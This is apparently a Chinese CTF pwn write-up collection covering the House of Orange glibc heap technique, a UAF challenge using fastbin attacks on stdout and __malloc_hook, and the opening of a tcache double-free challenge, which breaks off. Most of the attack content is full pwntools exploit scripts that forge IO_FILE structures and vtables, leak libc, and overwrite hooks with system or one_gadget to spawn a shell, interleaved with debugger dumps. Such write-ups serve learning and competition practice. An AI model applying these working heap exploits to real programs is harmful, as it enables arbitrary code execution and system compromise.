JUMP_FIELD(_IO_overflow_t, __overflow); //后面通过伪造IO_FILE使 会调用此函数指针,就修改这个为system
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

后面就将这个__overflow 修改为system, 然而在调用这些函数指针的时候,传入的参数是IO_FILE的地址,所以后面我们需要在自己伪造的IO_FILE的头部填入’/bin/sh\x00’,若能使_IO_flush_all_lockp函数在遍历的时候遍历到我们伪造的IO_FILE,且IO_FILE满足_IO_overflow函数的调用条件, 这样就能实现get shell,那么怎样才能让我们伪造的IO_FILE连接到我们自己伪造的IO_FILE呢?

那使用unsorted bin attack修改_IO_list_all中main_arena + 0x58,后面就要得修改main_arena + 0x58处fkae IO_FILE的 chain为我们的fake IO_FILE地址,这样在执行_IO_flush_all_lockp就会根据自己伪造的IO_FILE调用我们所伪造的vtable函数了.但关键是怎样使_IO_flush_all_lockp 在遍历 IO_FILE的时候能遍历到我们伪造的IO_FILE,就要靠下面的操作了.

修改main_arena fake file中的chain 指向我们即将伪造的IO_FILE

上面的_chain 的值是我们重点要如何在main_arena + 0x58处IO_FILE中设置这个值为咱们可以掌控的fake IO_FILE地址,然而unsorted bin的链表结构已经被破坏,再次申请的时候,old top chunk就不受unsorted bin 管理,注意若大小小于0x400 的bin的管理顺序为unsorted bin -> small bin,若我们修改old top chunk size 为小于0x400,就可以让当前chunk受small bin进行管理,而在small bin管理的时候, 各个大小的bin的链表头部地址会储存在main_arena中,若我们想要实现修改 main_arena + 0x58处 IO_FILE中的 _chain的值,就需要靠small bin的管理机制来进行修改

 若我们能够计算好大小,就能实现在main_arena部分内存中储存我们的chunk地址.下面为修改old top chunk大小为0x50所看到main_arena + 0x58中IO_FILE的结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
pwndbg> p *((struct _IO_FILE_plus*)((long int)&main_arena + 0x58))
$4 = {
file = {
_flags = 1433903120,
_IO_read_ptr = 0x5555557584f0 "/bin/sh",
_IO_read_end = 0x5555557584f0 "/bin/sh",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x5555557584f0 "/bin/sh", # 这是small bin管理时,储存我们的堆地址
_IO_save_end = 0x5555557584f0 "/bin/sh", # 这是small bin管理时,储存我们的堆地址
_markers = 0x7ffff7dd1bc8 <main_arena+168>,
_chain = 0x7ffff7dd1bc8 <main_arena+168>, # 下一个IO_FILE的地址,这是我们想要覆盖当前地址为old top chunk addr
_fileno = -136504360,
_flags2 = 32767,
_old_offset = 140737351850968,
_cur_column = 7144,
_vtable_offset = -35 '\335',
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 140737351851000,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 140737351851032,
_mode = -136504280,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x5555557584f0 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x5555557584f0
BK: 0x7ffff7dd2510 ◂— 0x0
smallbins
0x50: 0x5555557584f0 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x5555557584f0 #释放后由small bin来管理
largebins
empty

那么还差0x10,就改old top chunk size 为0x60,即可在main_arena 向下偏移0x10进行储存,这就实现了在main_arena + 0x58伪造IO_FILE中实现连接我们伪造的IO_FILE,实现效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pwndbg> p *((struct _IO_FILE_plus*)0x00007ffff7dd1b78)
$2 = {
file = {
_flags = 1433903120,
_IO_read_ptr = 0x5555557584f0 "/bin/sh",
_IO_read_end = 0x5555557584f0 "/bin/sh",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_markers = 0x5555557584f0,
_chain = 0x5555557584f0, //这里指向 old top chunk,也就是我们伪造的堆块
_fileno = -136504360,
_flags2 = 32767,
_old_offset = 140737351850968,
_cur_column = 7144,
_vtable_offset = -35 '\335',
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 140737351851000,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 140737351851032,
_mode = -136504280,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}
pwndbg> x /40gx 0x5555557584f0
0x5555557584f0: 0x0068732f6e69622f 0x0000000000000061 # 我们的old top chunk
0x555555758500: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8
0x555555758510: 0x0000000000000000 0x0000000000000001
0x555555758520: 0x0000000000000000 0x0000000000000000
0x555555758530: 0x0000000000000000 0x0000000000000000
0x555555758540: 0x0000000000000000 0x0000000000000000
0x555555758550: 0x0000000000000000 0x0000000000000000

利用如下:

1
2
3
4
5
6
7
8
9
10
11
# Control program
p = 'B' * 0x400
p += p64(0)
p += p64(0x21)
p += 'B' * 0x10

# fake IO_FILE
f = '/bin/sh\x00' # overflow arg -> system('/bin/sh') 这是后续调用system会传入IO_FILE的地址
f += p64(0x61) # small bin size,使main_arena + 0x58 fake IO_FILE的_chian指向当前伪造的IO_FILE

f += p64(0) + p64(_IO_list_all - 0x10) # unsoted bin attack 修改 _IO_list_all为main_arena + 0x58

伪造IO_FILE

上面就实现了修改main_arena + 0x58 中 fake IO_FILE的_chain指向我们的old top chunk,那么就在old top chunk伪造IO_FILE,在伪造的时候必须要得通过检查

1
2
3
4
5
6
7
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

则fp->_mode <= 0 且fp->_IO_write_ptr > fp->_IO_write_base_IO_vtable_offset (fp) == 0,这样才能执行_IO_OVERFLOW (fp, EOF) == EOF)

那么利用就可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# fake file
f = '/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61) # _IO_read_ptr small bin size
# unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(_IO_list_all - 0x10) # _IO_read_base

#bypass check
# 使fp->_IO_write_base < fp->_IO_write_ptr绕过检查
f += p64(0) # _IO_write_base
f += p64(1) # _IO_write_ptr

f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain

f += p32(0) # _fileno
f += p32(0) # _flags2

f += p64(1) # _old_offset

f += p16(2) # ushort _cur_colum;
f += p8(3) # char _vtable_offset
f += p8(4) # char _shrotbuf[1]
f += p32(0) # null for alignment

f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf

f += p64(0) # __pad5
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2

修改结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0)
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x0,
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 1,
_cur_column = 2,
_vtable_offset = 3 '\003',
_shortbuf = "\004",
_lock = 0x0,
_offset = 6,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x5555557585c8
}

伪造 vtable

1
2
3
4
5
6
7
p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heap + 0x5c8) # vtable指向自己
p += p64(0) * 2
p += p64(lib.sym['system']) # _IO_overflow 位置改为system
md(0x600, p) # 修改一系列所伪造好的布局

修改结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0).vtable
$2 = {
__dummy = 93824994346440,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7ffff7a52390 <__libc_system>, #成功修改为system
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

getshell

再次申请 0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ,就会触发malloc_printerr,然后就开始执行各种已经布局好的各种trick,最终执行到system get shell

1
2
3
4
5
6
7
8
9
10
11
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",// 执行该函数
chunk2mem (victim), av);
size = chunksize (victim);
1
sl('1') #get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'houseoforange'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'
#libFile = './libc64-2.19.so'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('Your choice : ', str(1))
sla('name :', str(size))
sa('Name :', data)
sla('Price of Orange:', str(16))
sla('Orange:', '1');


def md(size, data):
sla('Your choice : ', str(3))
sla('name :', str(size))
sa('Name:', data)
sla('Price of Orange:', str(16))
sla('Orange:', '1');

def dp():
sla('Your choice : ', str(2))

def q():
sla(':', str(5))

#--------------------------Exploit--------------------------
def exploit():
main_arena = 0x3c4b20

ad(0x10, 'A' * 0x10)
p = 'A' * 0x10
p += p64(0) + p64(0x21)
p += p64(0x1f00000010)
p += p64(0)
p += p64(0)
p += p64(0x00fa1)
# top chunk size 0x20fa1
# top chunk addr 0x555555758060
# alignment: 555555779001 -> 0x1000
li('addr: ' + hex(0xfa1 + 0x1000))
md(0x80, p)

ad(0x1000, 'B' * 0x10)

# leak libc base with overflow
ad(0x400, 'C' * 0x8)

dp()
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - main_arena - 1640
li('libc_base ' + hex(lib.address))

# leak heap addr with large bin
md(0x10, 'C' * 0x10)
dp()
ru('CCCCCCCCCCCCCCCC')
heap = u64(ru('\x0a').ljust(8, '\x00')) - 0xc0
li('heap ' + hex(heap))

_IO_list_all = lib.sym['_IO_list_all']
li('_IO_list_all ' + hex(_IO_list_all))

# Control program
p = 'B' * 0x400
p += p64(0)
p += p64(0x21)
p += 'B' * 0x10

# fake file
f = '/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61) # _IO_read_ptr small bin size
# unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(_IO_list_all - 0x10) # _IO_read_base

#bypass check
# fp->_IO_write_base < fp->_IO_write_ptr

# fp->mode <=0 ((addr + 0xc8) <= 0)
f += p64(0) # _IO_write_base
f += p64(1) # _IO_write_ptr

f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain

f += p32(0) # _fileno
f += p32(0) # _flags2

f += p64(1) # _old_offset

f += p16(2) # ushort _cur_colum;
f += p8(3) # char _vtable_offset
f += p8(4) # char _shrotbuf[1]
f += p32(0) # null for alignment

f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf

f += p64(0) # __pad5
f += p32(0) # _mode
f += p32(0) # _unused2

#f = f.ljust(0xc0, '\x00')

p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heap + 0x5C8) # vtable
p += p64(0) * 2

p += p64(lib.sym['system']) #
md(0x600, p)

db()
sl('1') #get shell

# malloc(0x10) -> malloc_printerr -> overflow(IO_FILE addr) -> system('/bin/sh')



def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

UAF

来源

V&N cnitlrt的面试,这是我自己按他要求出的题,然后自己打.

难度

5 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单描述

只有添加和删除功能, 添加的时候输入大小,再输入内容, 而删除根据索引进行删除.

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 del()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("idx: ");
__isoc99_scanf("%d", &v1);
free(*((void **)&pheap + 2 * v1)); // UAF漏洞
puts("OK");
return __readfsqword(0x28u) ^ v2;
}

知识点

fastbin attack, IO_FILE

思路

开辟一个small bin, 然后通过fastbin attack partial write 修改unsoted bin 的 fd 的后两字节指向_IO_2_1_stderr + 157处, 使用fastbin attack_IO_2_1_stdout`结构体中泄漏libc, 再次使用fastbin attack 打入malloc_hook - 0x23处打one_gadget, realloc的push次数调整execve第二个参数, 打通概率 1 /16

利用

准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'pwn'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('2.del', str(1))
sla(':', str(size))
sa(':', data)

def rm(idx):
sla('2.del', str(2))
sla(':', str(idx))

def q():
sla(':', str(3))

#--------------------------Exploit--------------------------
def exploit():
a = 0;

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

堆布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ad(0x20, 'A') # idx 0 为了使用fastbin attack打入unsoted bin-0x10处

p = 'A' * 0x50
#伪造的堆块,后面要申请到此处来实现修改chunk 2的size和fd
p += p64(0) # prev_size
p += p64(0x31) # size

ad(0x60, p) # idx 1
ad(0x80, 'B') # idx 2 为了partiwritefast bin attack实现打入_IO_2_1_stderr + 157处
ad(0x20, 'A') # idx 3 为了使用fastbin attack打入unsoted bin-0x10处
ad(0x60, 'A') # idx 4 为了与修改后的chunk 2在fastbin中连接起来,然后就可以实现打入IO_2_1_stdout中

# for fastbin attack to _free_hook
ad(0x60, 'A') # idx 5 为了fastbin attac 打入malloc_hook - 0x23
ad(0x60, 'A') # idx 6 为了fastbin attac 打入malloc_hook - 0x23

打入chunk 2修改size 和fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rm(3) # 为了 构造fastbin attack
rm(0)
rm(3)

rm(2) # 先释放掉chunk 2,使fd 为main_arena + 0x58

# 这里采用partial write 方式修改 chunk 3中的fd指向 chunk 2 - 0x10处,这里是我们伪造好的堆块
ad(0x20, '\x90') # attack to chunk 2 - 0x10

ad(0x20, 'A') # 调整
ad(0x20, 'A') # 调整

# 修改chunk 2 的size和fd
p = p64(0)
p += p64(0x71) # 修改为fastbin, 绕过检查
p += '\xdd\x25' # partial write指向_IO_2_1_stderr + 157处
ad(0x20, p) # patial write to _IO_2_1_stderr_ + 157

打入_IO_2_1_stderr + 157处

满足size调试如下:

1
2
3
4
5
6
7
8
9
10
pwndbg> x /40gx (long int)&_IO_2_1_stdout_ - 0x43
0x7f007e1fe5dd <_IO_2_1_stderr_+157>: 0x007e1fd660000000 0x000000000000007f
0x7f007e1fe5ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7f007e1fe5fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7f007e1fe60d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x007e1fc6e0000000
0x7f007e1fe61d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x007e1fe6a3000000
0x7f007e1fe62d <_IO_2_1_stdout_+13>: 0x007e1fe6a300007f 0x007e1fe6a300007f
0x7f007e1fe63d <_IO_2_1_stdout_+29>: 0x007e1fe6a300007f 0x007e1fe6a300007f
0x7f007e1fe64d <_IO_2_1_stdout_+45>: 0x007e1fe6a300007f 0x007e1fe6a300007f
0x7f007e1fe65d <_IO_2_1_stdout_+61>: 0x007e1fe6a400007f 0x000000000000007f

把刚才所构建的fastbin chunk 2放入fastbin 中

1
2
3
4
5
6
7
8
9
10
11
# fastbin attack to _IO__2_1_stderr + 157
# 为了 构造fastbin attack
rm(4)
rm(1)
rm(4)
ad(0x60, '\xa0') # 将fastbin chunk 2放入fastbin 中

# for alignment
ad(0x60, 'A')
ad(0x60, 'A')
ad(0x60, 'A')

泄漏libc

修改_IO_2_1_stdout结构体实现打印出libc中的地址

1
2
3
4
5
6
7
8
9
p = 'A' * 0x33
# _IO_2_1_stdout_ struct
p += p64(0xfbad3c80) # _IO_2_1_stdout_ flag
p += p64(0) * 3
p += p8(8)

ad(0x60, p)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - (0x7ffff7dd2608 - 0x7ffff7a0d000)
li('libc_base ' + hex(lib.address))

打入__malloc_hook - 0x23处

1
2
3
4
5
6
7
8
9
10
11
12
13
# fast bin attack to malloc_hook - 0x23
# 为了 构造fastbin attack
rm(5)
rm(6)
rm(5)

p = p64(lib.sym['__malloc_hook'] - 0x23)
ad(0x68, p)
ad(0x68, 'A') # for ajust
ad(0x68, 'A') # for ajust



修改malloc_hook 和realloc_hook打one_gadget

通过realloc的push次数来调整execve的第二个参数

1
2
3
4
5
6
7
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = lib.address + gadget[1]

p = 'A' * (0x13 -8)
p += p64(one_gadget)
p += p64(lib.sym['realloc'] + 12)
ad(0x68, p)

get shell

1
2
3
# get shell
ru('del')
sl('1')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'pwn'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('2.del', str(1))
sla(':', str(size))
sa(':', data)

def rm(idx):
sla('2.del', str(2))
sla(':', str(idx))

def q():
sla(':', str(3))

#--------------------------Exploit--------------------------
def exploit():
ad(0x20, 'A') # idx 0

p = 'A' * 0x50
p += p64(0)
p += p64(0x31)

ad(0x60, p) # idx 1
ad(0x80, 'B') # idx 2
ad(0x20, 'A') # idx 3
ad(0x60, 'A') # idx 4

# for fastbin attack to _free_hook
ad(0x60, 'A') # idx 5
ad(0x60, 'A') # idx 6


rm(3)
rm(0)
rm(3)

rm(2) # for patial write to

ad(0x20, '\x90') # attack to chunk 2 - 0x10

ad(0x20, 'A')
ad(0x20, 'A')

p = p64(0)
p += p64(0x71)
p += '\xdd\x25'
ad(0x20, p) # patial write to _IO_2_1_stderr_ + 157


# fastbin attack to _IO__2_1_stderr + 157
rm(4)
rm(1)
rm(4)
ad(0x60, '\xa0')

# for alignment
ad(0x60, 'A')
ad(0x60, 'A')
ad(0x60, 'A')

p = 'A' * 0x33
p += p64(0xfbad3c80)
p += p64(0) * 3
p += p8(8)

ad(0x60, p)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - (0x7ffff7dd2608 - 0x7ffff7a0d000)
li('libc_base ' + hex(lib.address))

# fast bin attack to malloc_hook - 0x23
rm(5)
rm(6)
rm(5)

p = p64(lib.sym['__malloc_hook'] - 0x23)
ad(0x68, p)
ad(0x68, 'A') # for ajust
ad(0x68, 'A') # for ajust


gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = lib.address + gadget[1]

p = 'A' * (0x13 -8)
p += p64(one_gadget)
p += p64(lib.sym['realloc'] + 12)
ad(0x68, p)

# get shell
ru('del')
sl('1')

#db()

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

easyTHeap

来源

v & n

难度

4 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单描述

该环境为glibc 2.27, 有teache机制.题中有五个功能,利用有限制,malloc只能7次以下, free 3次以下.

vul

1
2
3
4
5
6
7
8
9
10
11
12
int del()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = inputNum();
if ( v1 < 0 || v1 > 6 || !heap_array[v1] )
exit(0);
free((void *)heap_array[v1]);
size_array[v1] = 0; // not set ptr as null, can be double free
return puts("Done!");
}

拥有uaf漏洞,可以使用teache机制double free任意地址分配.

打法1

评估:

复杂度: 比较复杂 成功率: 低

知识点

tcache, IO_FILE

思路

程序中限制了mallocfree的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,实现任意地址分配.修改IO_2_1_stdout结构, 实现IO流对vtable的调用来触发one_gadget.

利用

准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
